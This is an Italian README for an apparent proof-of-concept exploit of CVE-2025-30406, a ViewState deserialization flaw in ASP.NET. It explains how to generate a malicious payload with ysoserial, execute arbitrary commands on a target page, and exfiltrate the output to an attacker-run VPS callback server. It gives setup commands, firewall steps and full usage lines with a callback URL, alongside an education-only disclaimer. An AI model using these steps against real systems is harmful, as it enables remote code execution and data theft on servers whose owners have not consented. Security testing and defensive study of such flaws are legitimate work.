
CVE-2025-30406 ViewState Exploit PoC
Questo è uno script Proof-of-Concept (PoC) che dimostra un exploit di deserializzazione ViewState per CVE-2025-30406 in applicazioni ASP.NET. Utilizza ysoserial per generare un payload ViewState dannoso e lo invia a un URL specificato dall'utente per eseguire un comando fornito. Per risultati ottimali, l'output del comando può essere esfiltrato verso un server HTTP personalizzato (server.py) in esecuzione su un VPS, che mostra i risultati in un formato stilizzato con timestamp, prompt verdi e testo di output bianco. Questo script è destinato esclusivamente a scopi educativi e deve essere utilizzato solo su sistemi per i quali si dispone di autorizzazione esplicita per eseguire test di sicurezza. L'uso non autorizzato è illegale e non etico.
exploit.py: lo script PoC principale per generare e inviare il payload ViewState.server.py: un server HTTP per ricevere e visualizzare l'output del comando esfiltrato in un formato stilizzato.README.md: questo file, con istruzioni di configurazione e utilizzo.requests (pip install requests)server.py (consigliato per l'esfiltrazione)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py o specifica il suo percorso:
Per ricevere l'output del comando esfiltrato in un formato stilizzato, esegui server.py su un VPS:
server.py sul tuo VPS (ad esempio tramite scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://tuo-vps-ip:8000) da usare con il flag -e in exploit.py.Esegui exploit.py con gli argomenti richiesti. Il flag -e è opzionale ma fortemente consigliato per esfiltrare l'output del comando verso server.py per una visualizzazione stilizzata.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: URL di destinazione (es. http://target.com/page.aspx) [Obbligatorio]-c, --command: Comando da eseguire (es. whoami) [Obbligatorio]-y, --ysoserial: Percorso dell'eseguibile ysoserial (default: ./ysoserial.exe) [Opzionale]-e, --exfil: URL di callback per esfiltrare l'output del comando (es. http://tuo-vps:8000) [Opzionale]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py (consigliato):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://tuo-vps:8000
Sul tuo VPS o macchina locale, avvia il server HTTP per ricevere l'output esfiltrato:
python3 server.py
Il server mostrerà l'output del comando con timestamp, un prompt $ verde e testo bianco per una migliore leggibilità.
exploit.py):
-e, il comando viene avvolto per catturare l'output e inviarlo all'URL di callback tramite Invoke-WebRequest.__VIEWSTATE.server.py):
$ verde e un testo di output bianco.-e.Questo progetto è concesso in licenza con licenza MIT. Consulta il file LICENSE per i dettagli.
Per domande o feedback, apri un problema (issue) su questo repository.